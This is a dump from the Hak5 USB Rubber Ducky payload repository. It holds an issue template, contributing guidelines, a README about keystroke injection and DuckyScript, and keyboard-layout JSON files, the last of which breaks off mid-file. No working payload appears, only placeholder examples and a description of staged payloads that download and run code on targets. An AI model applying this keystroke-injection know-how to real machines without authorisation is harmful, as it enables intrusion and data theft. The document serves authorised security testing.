value: Keep in mind - the more information provided here, the more actionable it will become. Please provide detailed answers to the prompts below. Please read and answer carefully. [Common Ducky Troubleshooting](https://docs.hak5.org/hak5-usb-rubber-ducky/troubleshooting/common-issues)
- type: markdown
attributes:
value: If you are simply seeking assistance with a payload contact the payload author or join our [Community discord](https://hak5.org/discord)
- type: input
id: PayloadName
attributes:
label: "Payload Title"
description: "Title of the payload you're experiencing an issue with"
placeholder: "ex. ExampleTitle"
validations:
required: true
- type: input
id: PayloadURL
attributes:
label: "Payload URL"
description: "Provide a direct link (URL) to the payload in question within this repo. Not the payload name. "
placeholder: "ex. https://github.com/hak5/usbrubberducky-payloads/........"
validations:
required: true
- type: textarea
id: Modifications
attributes:
label: "Payload Setup"
description: "Describe what you've done to set up the payload. This includes any required configuration. If any, please list what changes or modifications you have made to the original payload to experience this problem. DO NOT SHARE PRIVATE INFO SUCH AS YOUR DOMAINS OR API KEYS."
placeholder: "DO NOT LEAVE THIS BLANK. ex. I changed the DEFINE URL example.com to a domain of my own where I'm hosting xyz"
validations:
required: true
- type: textarea
id: Description
attributes:
label: "Problem Description"
description: "A thorough description of the issue"
placeholder: 'DO NOT LEAVE THIS BLANK. ex. Here is what I am trying to do; I did X and expected Y to happen but instead...'
validations:
required: true
- type: textarea
id: attempts
attributes:
label: "Troubleshooting steps"
description: "List any steps youve taken trying to troubleshoot or solve the problem you're experiencing. "
placeholder: "DO NOT LEAVE THIS BLANK. ex. I tried A, B, and C, to fix the issue, but..."
validations:
required: true
- type: textarea
id: causes
attributes:
label: "Suspected Cause"
description: "Could this be because ...?"
placeholder: "ex. Maybe this is because..."
validations:
required: false
- type: textarea
id: screenshots
attributes:
label: "Screenshots or additional information"
description: "Please add screenshots or extra details without a specific category if applicable"
validations:
required: false
- type: checkboxes
id: checklist
attributes:
label: "Checklist ✅ - READ CAREFULLY"
options:
- label: "I checked and didn't find a similar issue already reported"
required: true
- label: "I am using PayloadStudio to encode this payload"
required: true
- label: "I made sure to redact any private information in the details shared above"
required: true
- label: "I have read and followed the documentation provided by the original payload author and configured the payload (if required)"
required: true
- label: "I have confirmed I am deploying this payload with the correct device intended by the original author (Original USB Rubber Ducky vs New USB Rubber Ducky)"
required: true
- label: "I have confirmed I am deploying this payload on the correct target host intended by the original author (Windows, Mac, Linux, etc)"
required: true
- label: "I have confirmed the payload is compiled in the correct keyboard language for the target host I'm trying to deploy it on (US, DE, etc)"
required: true
- label: "I have actually read the above checkboxes before checking them, including this one, which I have intentionally left unchecked as confirmation of this statement"
required: false
- type: checkboxes
id: agreement
attributes:
label: "Agreement"
options:
- label: "I believe this is an issue with the actual payload itself. I acknowledge this form is not a request for help following instructions."
required: true
- label: "I have carefully read and filled out every section of this issue form to the best of my ability. I acknowledge by providing insufficient information I cannot receieve adequate assistance."
required: true
================================================
FILE: .gitignore
================================================
# MacOS
.DS_Store
================================================
FILE: CONTRIBUTING.md
================================================
### Exported from README.md
<h1><a href='https://payloadhub.com'>Contributing</a></h1>
<p align="center">
<a href="https://payloadhub.com"><img src="https://cdn.shopify.com/s/files/1/0068/2142/files/payloadhub.png?v=1652474600"></a>
<br/>
<a href="https://payloadhub.com">View Featured Payloads and Leaderboard </a>
</p>
# Please adhere to the following best practices and style guides when submitting a payload.
Once you have developed your payload, you are encouraged to contribute to this repository by submitting a Pull Request. Reviewed and Approved pull requests will add your payload to this repository, where they may be publically available.
Please include all resources required for the payload to run. If needed, provide a README.md in the root of your payload's directory to explain things such as intended use, required configurations, or anything that will not easily fit in the comments of the payload.txt itself. Please make sure that your payload is tested, and free of errors. If your payload contains (or is based off of) the work of other's please make sure to cite their work giving proper credit.
### Purely Destructive payloads will not be accepted. No, it's not "just a prank".
Subject to change. Please ensure any submissions meet the [latest version](https://github.com/hak5/usbrubberducky-payloads/blob/master/README.md) of these standards before submitting a Pull Request.
## Naming Conventions
Please give your payload a unique, descriptive and appropriate name. Do not use spaces in payload, directory or file names. Each payload should be submit into its own directory, with `-` or `_` used in place of spaces, to one of the categories such as exfiltration, phishing, remote_access or recon. Do not create your own category.
## Staged Payloads
"Staged payloads" are payloads that **download** code from some resource external to the payload.txt.
While staging code used in payloads is often useful and appropriate, using this (or another) github repository as the means of deploying those stages is not. This repository is **not a CDN for deployment on target systems**.
Staged code should be copied to and hosted on an appropriate server for doing so **by the end user** - Github and this repository are simply resources for sharing code among developers and users.
See: [GitHub acceptable use policies](https://docs.github.com/en/site-policy/acceptable-use-policies/github-acceptable-use-policies#5-site-access-and-safety)
Additionally, any source code that is intended to be staged **(by the end user on the appropriate infrastructure)** should be included in any payload submissions either in the comments of the payload itself or as a seperate file. **Links to staged code are unacceptable**; not only for the reasons listed above but also for version control and user safety reasons. Arbitrary code hidden behind some pre-defined external resource via URL in a payload could be replaced at any point in the future unbeknownst to the user -- potentially turning a harmless payload into something dangerous.
### Including URLs
URLs used for retrieving staged code should refer exclusively to **example.com** using DEFINE in any payload submissions [see Payload Configuration section below](https://github.com/hak5/usbrubberducky-payloads/blob/master/README.md#payload-configuration).
### Staged Example
**Example scenario: your payload downloads a script and the executes it on a target machine.**
- Include the script in the directory with your payload
- Provide instructions for the user to move the script to the appropriate hosting service.
- Provide a DEFINE with the placeholder example.com for the user to easily configure once they have hosted the script
[Simple Example of this style of payload](https://github.com/hak5/usbrubberducky-payloads/tree/master/payloads/library/exfiltration/Printer-Recon)
## Payload Configuration
Be sure to take the following into careful consideration to ensure your payload is easily tested, used and maintained.
In many cases, payloads will require some level of configuration **by the end payload user**.
- Abstract configuration(s) for ease of use. Use `DEFINE` where possible. Best practice is to use labels that start with # for easy identification throughout your payload.
- Remember to use PLACEHOLDERS for configurable portions of your payload - do not share your personal URLs, API keys, Passphrases, etc...
- URLs to staged payloads SHOULD NOT BE INCLUDED. URLs should be replaced by example.com. Provide instructions on how to specific resources should be hosted on the appropriate infrastructure.
- Make note of both REQUIRED and OPTIONAL configuration(s) in your payload using comments at the top of your payload or "inline" where applicable
<pre>
Example:
BEGINNING OF PAYLOAD
... Payload Documentation...
REM CONFIGURATION
REM REQUIRED - Provide URL used for Example
DEFINE #MY_TARGET_URL example.com
REM OPTIONAL - How long until payload starts; default 5s
DEFINE #BOOT_DELAY 5000
DELAY #BOOT_DELAY
...
STRING #MY_TARGET_URL
...
</pre>
## Payload Documentation
Payloads should begin with `REM` comments specifying the title of the payload, the author, the target, and a brief description.
<pre>
Example:
BEGINNING OF PAYLOAD
REM Title: Example Payload
REM Author: Korben Dallas
REM Description: Opens hidden powershell and
REM Target: Windows 10
REM Props: Hak5, Darren Kitchen, Korben
REM Version: 1.0
REM Category: General
</pre>
================================================
FILE: README.md
================================================
# Payload Library for the [USB Rubber Ducky](https://hak5.org/products/usb-rubber-ducky?variant=39874478932081) by [Hak5](https://hak5.org)
This repository contains payloads, extensions and languages for the Hak5 USB Rubber Ducky. Community developed payloads are listed and developers are encouraged to create pull requests to make changes to or submit new payloads.
**Payloads here are written in official DuckyScript™ specifically for the USB Rubber Ducky. Payloads here must be compiled using Hak5 PayloadStudio. Hak5 does NOT guarantee payload functionality.** <a href="#legal"><b>See Legal and Disclaimers</b></a>
<div align="center">
<img src="https://img.shields.io/github/forks/hak5/usbrubberducky-payloads?style=for-the-badge"/>
<img src="https://img.shields.io/github/stars/hak5/usbrubberducky-payloads?style=for-the-badge"/>
<br/>
<img src="https://img.shields.io/github/commit-activity/y/hak5/usbrubberducky-payloads?style=for-the-badge">
<img src="https://img.shields.io/github/contributors/hak5/usbrubberducky-payloads?style=for-the-badge">
</div>
<br/>
<p align="center">
<a href="https://payloadhub.com"><img src="https://cdn.shopify.com/s/files/1/0068/2142/files/payloadhub.png?v=1652474600"></a>
<br/>
<a href="https://hak5.org/blogs/payloads/tagged/usb-rubber-ducky">View Featured Ducky Payloads and Leaderboard</a>
<br/><i>Get your payload in front of thousands. Enter to win over $2,000 in prizes in the <a href="https://hak5.org/pages/payload-awards">Hak5 Payload Awards!</a></i>
</p>
<div align="center">
<a href="https://hak5.org/discord"><img src="https://img.shields.io/discord/506629366659153951?label=Hak5%20Discord&style=for-the-badge"></a>
<a href="https://youtube.com/hak5"><img src="https://img.shields.io/youtube/channel/views/UC3s0BtrBJpwNDaflRSoiieQ?label=YouTube%20Views&style=for-the-badge"/></a>
<a href="https://youtube.com/hak5"><img src="https://img.shields.io/youtube/channel/subscribers/UC3s0BtrBJpwNDaflRSoiieQ?style=for-the-badge"/></a>
<a href="https://twitter.com/hak5"><img src="https://img.shields.io/badge/follow-%40hak5-1DA1F2?logo=twitter&style=for-the-badge"/></a>
<a href="https://instagram.com/hak5gear"><img src="https://img.shields.io/badge/Instagram-E4405F?style=for-the-badge&logo=instagram&logoColor=white"/></a>
<br/><br/>
</div>
# Table of contents
<details open>
<ul>
<li><a href="#about-the-new-usb-rubber-ducky">About the USB Rubber Ducky</a></li>
<li><a href="#build-your-payloads-with-payloadstudio">PayloadStudio (Editor + Compiler)</a></li>
<li><a href="#about-duckyscript">About DuckyScript™</a></li>
<li><b><a href="#contributing">Contributing Payloads</a></b></li>
<li><a href="#legal"><b>Legal and Disclaimers</b></a></li>
</ul>
</details>
## Shop
- [NEW USB Rubber Ducky](https://hak5.org/products/usb-rubber-ducky?variant=39874478932081 "Purchase the NEW USB Rubber Ducky")
- [PayloadStudio Pro](https://hak5.org/products/payload-studio-pro "Purchase PayloadStudio Pro")
- [Shop All Hak5 Tools](https://shop.hak5.org "Shop All Hak5 Tools")
## Getting Started
- [Build and Encode Payloads with PayloadStudio](#build-your-payloads-with-payloadstudio) | [QUICK START GUIDE](https://docs.hak5.org/hak5-usb-rubber-ducky/unboxing-quack-start-guide "QUICK START GUIDE") | [Your First Payload](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/hello-world)
## Documentation / Learn More
- [Documentation](https://docs.hak5.org/hak5-usb-rubber-ducky/ "Documentation") | [Quick Reference Guide](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-quick-reference "Quick Reference Guide")
- [Advanced DuckyScript Online Course](https://shop.hak5.org/collections/usb-rubber-ducky-essentials/products/advanced-duckyscript-course "DuckyScript Online Course") | [Textbook](https://shop.hak5.org/collections/usb-rubber-ducky-essentials/products/usb-rubber-ducky-textbook "Textbook")
## Community
*Got Questions? Need some help? Reach out:*
- [Discord](https://hak5.org/discord/ "Discord") | [Forums](https://forums.hak5.org/forum/111-new-usb-rubber-ducky/ "Forums")
## Additional Links
<b> Follow the creators </b><br/>
<p>
<b>Korben's Socials</b><br/>
<a href="https://twitter.com/notkorben"><img src="https://img.shields.io/twitter/follow/notkorben?style=social"/></a>
<a href="https://instagram.com/hak5korben"><img src="https://img.shields.io/badge/Instagram-Follow%20@hak5korben-E1306C"/></a>
<br/>
<b>Darren's Socials</b><br/>
<a href="https://twitter.com/hak5darren"><img src="https://img.shields.io/twitter/follow/hak5darren?style=social"/></a>
<a href="https://instagram.com/hak5darren"><img src="https://img.shields.io/badge/Instagram-Follow%20@hak5darren-E1306C"/></a>
</p>
<br/>
<h1><a href="https://hak5.org/products/usb-rubber-ducky">About the NEW USB Rubber Ducky</a></h1>
A "flash drive" that types keystroke injection payloads into unsuspecting devices at incredible speeds.
<b><div align="center">
<br/>
<a href="https://www.youtube.com/watch?v=meNlOrdQJFo">Launch Video</a> |
<a href="https://shop.hak5.org/pages/keystroke-reflection">Introducing Keystroke Reflection</a> |
<a href="https://www.youtube.com/watch?v=hFfo1TdY9hU">Introducing OS Detection</a>
<br/><br/>
</div></b>
<p align="center">
<a href="https://www.youtube.com/watch?v=meNlOrdQJFo"><img src="https://3076592524-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MiIkRK_o3RBhZzUkrzr%2Fuploads%2FCiHTAeL8jlCA3mG7ltCF%2FScreencast%20from%2003-03-2023%2001_08_58%20PM.gif?alt=media"/></a>
<br/>
<i>New USB Rubber Ducky (A+C, DuckyScript 3.0, 2022)</i>
</p>
Computers trust humans. Humans use keyboards. Hence the universal spec — HID, or Human Interface Device.
A keyboard presents itself as a HID, and in turn it's inherently trusted as human by the computer.
The USB Rubber Ducky — which looks like an innocent flash drive to humans — takes advantage of this trust to deliver powerful payloads, injecting keystrokes at superhuman speeds.
Easily automate any task you can perform with a keyboard with an easy to learn language designed specifically for the USB Rubber Ducky.
# About DuckyScript™
## Legacy DuckyScript (1.0)
Hak5 introduced Keystroke Injection in 2010 with the USB Rubber Ducky™. This technique, developed by Hak5 founder Darren Kitchen, was his weapon of choice for automating mundane tasks at his IT job — fixing printers, network shares and the like.
Today the USB Rubber Ducky is a hacker culture icon, synonymous with the keystroke injection technique it pioneered. It’s found its way into the hearts and toolkits of Cybersecurity and IT pros the world over — including many movies and TV shows!
Core to its success is its simple language, DuckyScript™. Originally just three commands, it could be learned by anyone—regardless of experience—in minutes.
<b> With the new USB Rubber Ducky in 2022, DuckyScript 3.0 has been introduced.</b>
## DuckyScript 3.0
DuckyScript 3.0 is a feature rich, structured programming language. It includes all of the previously available commands and features of the original DuckyScript.
<b>(DuckyScript 3.0 is backwards compatible with DuckyScript 1.0; this means all your favorite DuckyScript 1.0 payloads are valid DuckyScript 3.0) </b>
Additionally, DuckyScript 3.0 introduces [control flow constructs](https://docs.hak5.org/hak5-usb-rubber-ducky/operators-conditions-loops-and-functions/conditional-statements "View Documentation"), [loops](https://docs.hak5.org/hak5-usb-rubber-ducky/operators-conditions-loops-and-functions/loops "View Documentation"), [functions](https://docs.hak5.org/hak5-usb-rubber-ducky/operators-conditions-loops-and-functions/functions "View Documentation"), [extensions](https://docs.hak5.org/hak5-usb-rubber-ducky/advanced-features/extensions "View Documentation").
Plus, DuckyScript 3.0 includes many features specific to [keystroke injection](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection "View Documentation") attack/automation, such as [HID & Storage attack modes](https://docs.hak5.org/hak5-usb-rubber-ducky/attack-modes-constants-and-variables/attack-modes "View Documentation"), OS Detection, [Keystroke Reflection](https://docs.hak5.org/hak5-usb-rubber-ducky/advanced-features/exfiltration#the-keystroke-reflection-attack "View Documentation") ([Video + Whitepaper](https://shop.hak5.org/pages/keystroke-reflection "Keystroke Reflection Video + Whitepaper")), [jitter](https://docs.hak5.org/hak5-usb-rubber-ducky/advanced-features/jitter "View Documentation") and [randomization](https://docs.hak5.org/hak5-usb-rubber-ducky/advanced-features/randomization "View Documentation") to name a few.
While many of the Hak5 Tools run various versions of DuckyScript; unlike the [Bash Bunny](https://shop.hak5.org/products/bash-bunny), [Key Croc](https://shop.hak5.org/products/key-croc) and even the [officially licenced DuckyScript compatible devices from O.MG](https://shop.hak5.org/collections/mischief-gadgets/ "O.MG") - which use `INTERPRETED` versions of DuckyScript - the USB Rubber Ducky uses `COMPILED inject.bin` payloads.
_Interpreted DuckyScript means the payload runs straight from `source code` (the code you write e.g. `DELAY 1000`)._
_Compiled DuckyScript means that there is both `source code` and an `inject.bin` generated from the source code. (DuckyScript 1.0 was "encoded" rather than "compiled" - references to either mean the same)_
The files in this repository are _the source code_ in the form of `payload.txt` files.
<h1><a href="https://shop.hak5.org/collections/usb-rubber-ducky-accessories/products/advanced-duckyscript-course">Learn DuckyScript directly from the creators</a></h1>
<p align="center">
<a href="https://shop.hak5.org/collections/usb-rubber-ducky-accessories/products/advanced-duckyscript-course"><img width="500px" src="https://cdn.shopify.com/s/files/1/0068/2142/products/online-course-icon_2000x.png"/></a>
<p>
Learn Advanced DuckyScript directly from the creators and unlock creative potential for the USB Rubber Ducky. Covering all aspects of advanced DuckyScript and Keystroke Injection attacks, these practical lessons build on one another from the basics on up.
This online course includes 7 hours of video instruction covering 54 lessons, 40+ exercises to reinforce your knowledge, quizzes throughout as well as 8 projects to test your skills.
</p>
</p>
<h1><a href="https://payloadstudio.hak5.org">Build your payloads with PayloadStudio</a></h1>
<p align="center">
Take your DuckyScript™ payloads to the next level with this full-featured,<b> web-based (entirely client side) </b> development environment.
<br/>
<a href="https://payloadstudio.hak5.org"><img width="500px" src="https://cdn.shopify.com/s/files/1/0068/2142/products/payload-studio-icon_2000x.png"></a>
<br/>
<i>Payload studio features all of the conveniences of a modern IDE, right from your browser. From syntax highlighting and auto-completion to live error-checking and repo synchronization - building payloads for Hak5 hotplug tools has never been easier!
<br/><br/>
Supports your favorite Hak5 gear - USB Rubber Ducky, Bash Bunny, Key Croc, Shark Jack, Packet Squirrel & LAN Turtle!
<br/><br/></i><br/>
<a href="https://hak5.org/products/payload-studio-pro">Become a PayloadStudio Pro</a> and <b> Unleash your hacking creativity! </b>
<br/>
OR
<br/>
<a href="https://payloadstudio.hak5.org/community/"> Try Community Edition FREE</a>
<br/><br/>
<img src="https://cdn.shopify.com/s/files/1/0068/2142/files/themes1_1_600x.gif?v=1659642557">
<br/>
<i> Payload Studio Themes Preview GIF </i>
<br/><br/>
<img src="https://cdn.shopify.com/s/files/1/0068/2142/files/AUTOCOMPLETE3_600x.gif?v=1659640513">
<br/>
<i> Payload Studio Autocomplete Preview GIF </i>
</p>
## DuckyScript Ecosystem
<h3><a href='https://github.com/hak5/usbrubberducky-payloads/blob/master/languages'>Languages </a></h3>
Support for different keyboard layouts can be found, modified or contributed to in the <b><a href='https://github.com/hak5/usbrubberducky-payloads/blob/master/languages'> languages/ </a></b> directory of this repository.
Compiling payloads for the correct language / keyboard layout has never been easier:
<a href='https://payloadstudio.hak5.org'> Open PayloadStudio \> Settings \> Compiler Settings</a>
PayloadStudio includes all the languages provided in this repo built-in for your convenience.
<a href="https://hak5.org/products/payload-studio-pro">PayloadStudio Pro</a> has a <b>dedicated language editor</b> specifically for editing and building language files!
The default language is US <a href='https://github.com/hak5/usbrubberducky-payloads/blob/master/languages/us.json'>(languages/us.json)</a>
<h3><a href="https://docs.hak5.org/hak5-usb-rubber-ducky/advanced-features/extensions">Extensions</a></h3>
It should be clear by now that so much is possible with DuckyScript 3.0. The combination of keystroke injection with various attack modes, logic and data processing, along with the built-in features like randomization and internal variables — the possibilities for advanced payload functions seems endless.
<p align="center">
<br/>
<img src="https://cdn.shopify.com/s/files/1/0068/2142/files/payload-studio-extensions_600x.gif?v=1659716795">
<br/>
<i> Payload Studio Extensions Preview GIF</i>
</p>
As the payload library continues to grow, so too will the DuckyScript 3.0 language. To that end, the extensions feature of the language and editor facilitate the continued growth of the language.
<b>Extensions are blocks of reusable code which may be implemented in any payload. Think of them as snippets, or building blocks, upon which your next payload may benefit.</b>
While Hak5 developers cannot envision all possible use cases for the USB Rubber Ducky, the DuckyScript language has been architected in such a way so that the community as a whole may gain new features and abilities with each contributed extension.
Extensions (beyond some first party examples) are currently reserved for collections of helper functions (+ required variables, defines, and configuration options) required to make a complex task simple - abstracting very complex problems down into one or a few calls for the ease of use to others (example: the translate extension).
To add an extension to your payload, simply start typing the name of the desired extension in your payload from within PayloadStudio then select it from the auto-complete drop down. Alternatively the full library can be found from within the Extensions folder of this repo.
[Read more here](https://docs.hak5.org/hak5-usb-rubber-ducky/advanced-features/extensions "Read more here")
<h1><a href='https://payloadhub.com'>Contributing</a></h1>
<p align="center">
<a href="https://payloadhub.com"><img src="https://cdn.shopify.com/s/files/1/0068/2142/files/payloadhub.png?v=1652474600"></a>
<br/>
<a href="https://payloadhub.com">View Featured Payloads and Leaderboard </a>
</p>
# Please adhere to the following best practices and style guides when submitting a payload.
Once you have developed your payload, you are encouraged to contribute to this repository by submitting a Pull Request. Reviewed and Approved pull requests will add your payload to this repository, where they may be publically available.
Please include all resources required for the payload to run. If needed, provide a README.md in the root of your payload's directory to explain things such as intended use, required configurations, or anything that will not easily fit in the comments of the payload.txt itself. Please make sure that your payload is tested, and free of errors. If your payload contains (or is based off of) the work of other's please make sure to cite their work giving proper credit.
### Purely Destructive payloads will not be accepted. No, it's not "just a prank".
Subject to change. Please ensure any submissions meet the [latest version](https://github.com/hak5/usbrubberducky-payloads/blob/master/README.md) of these standards before submitting a Pull Request.
## Naming Conventions
Please give your payload a unique, descriptive and appropriate name. Do not use spaces in payload, directory or file names. Each payload should be submit into its own directory, with `-` or `_` used in place of spaces, to one of the categories such as exfiltration, phishing, remote_access or recon. Do not create your own category.
## Staged Payloads
"Staged payloads" are payloads that **download** code from some resource external to the payload.txt.
While staging code used in payloads is often useful and appropriate, using this (or another) github repository as the means of deploying those stages is not. This repository is **not a CDN for deployment on target systems**.
Staged code should be copied to and hosted on an appropriate server for doing so **by the end user** - Github and this repository are simply resources for sharing code among developers and users.
See: [GitHub acceptable use policies](https://docs.github.com/en/site-policy/acceptable-use-policies/github-acceptable-use-policies#5-site-access-and-safety)
Additionally, any source code that is intended to be staged **(by the end user on the appropriate infrastructure)** should be included in any payload submissions either in the comments of the payload itself or as a seperate file. **Links to staged code are unacceptable**; not only for the reasons listed above but also for version control and user safety reasons. Arbitrary code hidden behind some pre-defined external resource via URL in a payload could be replaced at any point in the future unbeknownst to the user -- potentially turning a harmless payload into something dangerous.
### Including URLs
URLs used for retrieving staged code should refer exclusively to **example.com** using DEFINE in any payload submissions [see Payload Configuration section below](https://github.com/hak5/usbrubberducky-payloads/blob/master/README.md#payload-configuration).
### Staged Example
**Example scenario: your payload downloads a script and the executes it on a target machine.**
- Include the script in the directory with your payload
- Provide instructions for the user to move the script to the appropriate hosting service.
- Provide a DEFINE with the placeholder example.com for the user to easily configure once they have hosted the script
[Simple Example of this style of payload](https://github.com/hak5/usbrubberducky-payloads/tree/master/payloads/library/exfiltration/Printer-Recon)
## Payload Configuration
Be sure to take the following into careful consideration to ensure your payload is easily tested, used and maintained.
In many cases, payloads will require some level of configuration **by the end payload user**.
- Abstract configuration(s) for ease of use. Use `DEFINE` where possible. Best practice is to use labels that start with # for easy identification throughout your payload.
- Remember to use PLACEHOLDERS for configurable portions of your payload - do not share your personal URLs, API keys, Passphrases, etc...
- URLs to staged payloads SHOULD NOT BE INCLUDED. URLs should be replaced by example.com. Provide instructions on how to specific resources should be hosted on the appropriate infrastructure.
- Make note of both REQUIRED and OPTIONAL configuration(s) in your payload using comments at the top of your payload or "inline" where applicable
<pre>
Example:
BEGINNING OF PAYLOAD
... Payload Documentation...
REM CONFIGURATION
REM REQUIRED - Provide URL used for Example
DEFINE #MY_TARGET_URL example.com
REM OPTIONAL - How long until payload starts; default 5s
DEFINE #BOOT_DELAY 5000
DELAY #BOOT_DELAY
...
STRING #MY_TARGET_URL
...
</pre>
## Payload Documentation
Payloads should begin with `REM` comments specifying the title of the payload, the author, the target, and a brief description.
<pre>
Example:
BEGINNING OF PAYLOAD
REM Title: Example Payload
REM Author: Korben Dallas
REM Description: Opens hidden powershell and
REM Target: Windows 10
REM Props: Hak5, Darren Kitchen, Korben
REM Version: 1.0
REM Category: General
</pre>
<h1><a href="https://hak5.org/pages/policy">Legal</a></h1>
Payloads from this repository are provided for educational purposes only. Hak5 gear is intended for authorized auditing and security analysis purposes only where permitted subject to local and international laws where applicable. Users are solely responsible for compliance with all laws of their locality. Hak5 LLC and affiliates claim no responsibility for unauthorized or unlawful use.
USB Rubber Ducky and DuckyScript are the trademarks of Hak5 LLC. Copyright © 2010 Hak5 LLC. All rights reserved. No part of this work may be reproduced or transmitted in any form or by any means without prior written permission from the copyright owner.
USB Rubber Ducky and DuckyScript are subject to the Hak5 license agreement (https://hak5.org/license)
DuckyScript is the intellectual property of Hak5 LLC for the sole benefit of Hak5 LLC and its licensees. To inquire about obtaining a license to use this material in your own project, contact us. Please report counterfeits and brand abuse to legal@hak5.org.
This material is for education, authorized auditing and analysis purposes where permitted subject to local and international laws. Users are solely responsible for compliance. Hak5 LLC claims no responsibility for unauthorized or unlawful use.
Hak5 LLC products and technology are only available to BIS recognized license exception ENC favorable treatment countries pursuant to US 15 CFR Supplement No 3 to Part 740.
See also:
[Hak5 Software License Agreement](https://shop.hak5.org/pages/software-license-agreement)
[Terms of Service](https://shop.hak5.org/pages/terms-of-service)
# Disclaimer
<h3><b>As with any script, you are advised to proceed with caution.</h3></b>
<h3><b>Generally, payloads may execute commands on your device. As such, it is possible for a payload to damage your device. Payloads from this repository are provided AS-IS without warranty. While Hak5 makes a best effort to review payloads, there are no guarantees as to their effectiveness.</h3></b>
================================================
FILE: languages/be.json
================================================
{
"__comment":"All numbers here are in hex format and 0x is ignored.",
"__comment":" ",
"__comment":"This list is in ascending order of 3rd byte (HID Usage ID).",
"__comment":" See section 10 Keyboard/Keypad Page (0x07)",
"__comment":" of document USB HID Usage Tables Version 1.12.",
"__comment":" ",
"__comment":"Definition of these 3 bytes can be found",
"__comment":" in section B.1 Protocol 1 (Keyboard)",
"__comment":" of document Device Class Definition for HID Version 1.11",
"__comment":" - byte 1: Modifier keys",
"__comment":" - byte 2: Reserved",
"__comment":" - byte 3: Keycode 1",
"__comment":" ",
"__comment":"Both documents can be obtained from link here",
"__comment":" http://www.usb.org/developers/hidpage/",
"__comment":" ",
"__comment":"A = LeftShift + a, { = LeftShift + [",
"__comment":" ",
"q":"00,00,04",
"b":"00,00,05",
"c":"00,00,06",
"d":"00,00,07",
"e":"00,00,08",
"f":"00,00,09",
"g":"00,00,0a",
"h":"00,00,0b",
"i":"00,00,0c",
"j":"00,00,0d",
"k":"00,00,0e",
"l":"00,00,0f",
",":"00,00,10",
"n":"00,00,11",
"o":"00,00,12",
"p":"00,00,13",
"a":"00,00,14",
"r":"00,00,15",
"s":"00,00,16",
"t":"00,00,17",
"u":"00,00,18",
"v":"00,00,19",
"z":"00,00,1a",
"x":"00,00,1b",
"y":"00,00,1c",
"w":"00,00,1d",
"&":"00,00,1e",
"\"":"00,00,20",
"'":"00,00,21",
"(":"00,00,22",
"!":"00,00,25",
"ENTER":"00,00,28",
"ESC":"00,00,29",
"ESCAPE":"00,00,29",
"TAB":"00,00,2b",
" ":"00,00,2c",
"SPACE":"00,00,2c",
")":"00,00,2d",
"-":"00,00,2e",
"$":"00,00,30",
"m":"00,00,33",
";":"00,00,36",
":":"00,00,37",
"=":"00,00,38",
"CAPSLOCK":"00,00,39",
"F1":"00,00,3a",
"F2":"00,00,3b",
"F3":"00,00,3c",
"F4":"00,00,3d",
"F5":"00,00,3e",
"F6":"00,00,3f",
"F7":"00,00,40",
"F8":"00,00,41",
"F9":"00,00,42",
"F10":"00,00,43",
"F11":"00,00,44",
"F12":"00,00,45",
"PRINTSCREEN":"00,00,46",
"SCROLLLOCK":"00,00,47",
"BREAK":"00,00,48",
"PAUSE":"00,00,48",
"INSERT":"00,00,49",
"HOME":"00,00,4a",
"PAGEUP":"00,00,4b",
"DEL":"00,00,4c",
"DELETE":"00,00,4c",
"END":"00,00,4d",
"PAGEDOWN":"00,00,4e",
"RIGHT":"00,00,4f",
"RIGHTARROW":"00,00,4f",
"LEFT":"00,00,50",
"LEFTARROW":"00,00,50",
"DOWN":"00,00,51",
"DOWNARROW":"00,00,51",
"UP":"00,00,52",
"UPARROW":"00,00,52",
"<":"00,00,64",
"APP":"00,00,65",
"MENU":"00,00,65",
"ALT-TAB":"00,00,71",
"CONTROL":"01,00,00",
"CTRL":"01,00,00",
"SHIFT":"02,00,00",
"Q":"02,00,04",
"B":"02,00,05",
"C":"02,00,06",
"D":"02,00,07",
"E":"02,00,08",
"F":"02,00,09",
"G":"02,00,0a",
"H":"02,00,0b",
"I":"02,00,0c",
"J":"02,00,0d",
"K":"02,00,0e",
"L":"02,00,0f",
"?":"02,00,10",
"N":"02,00,11",
"O":"02,00,12",
"P":"02,00,13",
"A":"02,00,14",
"R":"02,00,15",
"S":"02,00,16",
"T":"02,00,17",
"U":"02,00,18",
"V":"02,00,19",
"Z":"02,00,1a",
"X":"02,00,1b",
"Y":"02,00,1c",
"W":"02,00,1d",
"1":"02,00,1e",
"2":"02,00,1f",
"3":"02,00,20",
"4":"02,00,21",
"5":"02,00,22",
"6":"02,00,23",
"7":"02,00,24",
"8":"02,00,25",
"9":"02,00,26",
"0":"02,00,27",
"_":"02,00,2e",
"*":"02,00,30",
"M":"02,00,33",
"%":"02,00,34",
".":"02,00,36",
"/":"02,00,37",
"+":"02,00,38",
">":"02,00,64",
"CTRL-SHIFT":"03,00,00",
"ALT":"04,00,00",
"CTRL-ALT":"05,00,00",
"ALT-SHIFT":"06,00,00",
"COMMAND":"08,00,00",
"GUI":"08,00,00",
"WINDOWS":"08,00,00",
"COMMAND-OPTION":"12,00,00",
"|":"40,00,1e",
"@":"40,00,1f",
"#":"40,00,20",
"^":"40,00,23",
"{":"40,00,26",
"}":"40,00,27",
"[":"40,00,2f",
"]":"40,00,30",
"`":"40,00,31",
"~":"40,00,38",
"\\":"40,00,64",
"COMMAND-CTRL-SHIFT":"40,00,64",
"COMMAND-CTRL":"40,00,64",
"COMMAND-OPTION-SHIFT":"40,00,64"
}
================================================
FILE: languages/br.json
================================================
{
"__comment":"All numbers here are in hex format and 0x is ignored.",
"__comment":" ",
"__comment":"This list is in ascending order of 3rd byte (HID Usage ID).",
"__comment":" See section 10 Keyboard/Keypad Page (0x07)",
"__comment":" of document USB HID Usage Tables Version 1.12.",
"__comment":" ",
"__comment":"Definition of these 3 bytes can be found",
"__comment":" in section B.1 Protocol 1 (Keyboard)",
"__comment":" of document Device Class Definition for HID Version 1.11",
"__comment":" - byte 1: Modifier keys",
"__comment":" - byte 2: Reserved",
"__comment":" - byte 3: Keycode 1",
"__comment":" ",
"__comment":"Both documents can be obtained from link here",
"__comment":" http://www.usb.org/developers/hidpage/",
"__comment":" ",
"__comment":"A = LeftShift + a, { = LeftShift + [",
"__comment":" ",
"a":"00,00,04",
"b":"00,00,05",
"c":"00,00,06",
"d":"00,00,07",
"e":"00,00,08",
"f":"00,00,09",
"g":"00,00,0a",
"h":"00,00,0b",
"i":"00,00,0c",
"j":"00,00,0d",
"k":"00,00,0e",
